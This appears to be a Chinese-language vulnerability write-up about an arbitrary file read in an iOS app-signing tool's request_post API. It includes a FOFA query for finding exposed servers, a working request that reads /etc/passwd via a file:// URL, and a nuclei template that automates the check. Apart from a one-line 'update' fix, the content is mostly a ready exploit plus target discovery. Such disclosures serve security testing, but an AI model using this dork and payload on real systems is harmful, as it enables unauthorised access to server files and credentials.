当前位置: 首页 > news >正文

ios签名工具任意文件读取漏洞

文章目录

    • 免责申明
    • 漏洞描述
    • 搜索语法
    • 漏洞复现
    • nuclei
    • 修复建议

免责申明

本文章仅供学习与交流,请勿用于非法用途,均由使用者本人负责,文章作者不为此承担任何责任

漏洞描述

该系统是苹果iOS端的IPA签名工具可以一键签名APP分身,支持安装未上架App Store的内测应用。用户可以在线批量导入源,若拥有自己的证书,签名功能完全免费且无任何限制,支持证书导入和文件分享,不限制签名数量。在request_post接口处的url参数中存在任意文件读取漏洞

搜索语法

fofa

body="/assets/index/css/mobileSelect.css"

漏洞复现

访问漏洞路径

https://ip/api/index/request_post?url=file:///etc/passwd&post_data=1

在这里插入图片描述

nuclei

id: IOS-sign-tools-readfileinfo:name: Template Nameauthor: 'xl'severity: infodescription: descriptiontags: tagshttp:- raw:- "GET /api/index/request_post?url=file:///etc/passwd&post_data=1 HTTP/2\nHost:\\ \nSec-Ch-Ua: \"Not;A=Brand\";v=\"24\", \"Chromium\";v=\"128\"\nSec-Ch-Ua-Mobile:\\ ?0\nSec-Ch-Ua-Platform: \"Windows\"\nAccept-Language: zh-CN,zh;q=0.9\nUpgrade-Insecure-Requests:\\ 1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\\ (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\n\Sec-Fetch-Site: none\nSec-Fetch-Mode: navigate\nSec-Fetch-User: ?1\nSec-Fetch-Dest:\\ document\nAccept-Encoding: gzip, deflate, br\nPriority: u=0, i\n\n"matchers-condition: andmatchers:- type: wordpart: bodywords:- root- type: statusstatus:- 200

修复建议

更新的最新版本


http://www.mrgr.cn/news/37330.html

相关文章:

  • 高频面试你知道display: flex;嘛?说说。。。。。
  • 风扇模块(直流5V STM32)
  • 如何在Vue2项目中使用Vuex管理状态
  • 从成功案例中汲取数字化转型经验:企业数字化转型的实战指南
  • 线性跟踪微分器TD详细测试(Simulink 算法框图+CODESYS ST+博途SCL完整源代码)
  • Linux系统IO-文件描述符详解
  • el-input只能输入指定范围的数字
  • three.js加载Lod方式解析
  • Java刷题:最小k个数
  • B2C商城的关键组成模式有哪些
  • 如何使用ssm实现冀中工程技师校园网站设计与实现
  • Java中对xml文件解析并获取数据的方法——dom4j库和jaxen库的用法解读
  • 山西农业大学20240927
  • 【Golang】Golang中有哪些方式可以进行安全读写共享变量
  • 【工具分享】LockBit 3.0勒索病毒解密工具
  • JSP+Servlet+Mybatis实现列表显示和批量删除等功能
  • VBA过程代码密码解除
  • 【玩转贪心算法专题】56. 合并区间【中等】
  • Java通过base64将文件生成到指定位置
  • JAVA学习-练习试用Java实现“翻转字符串里的单词”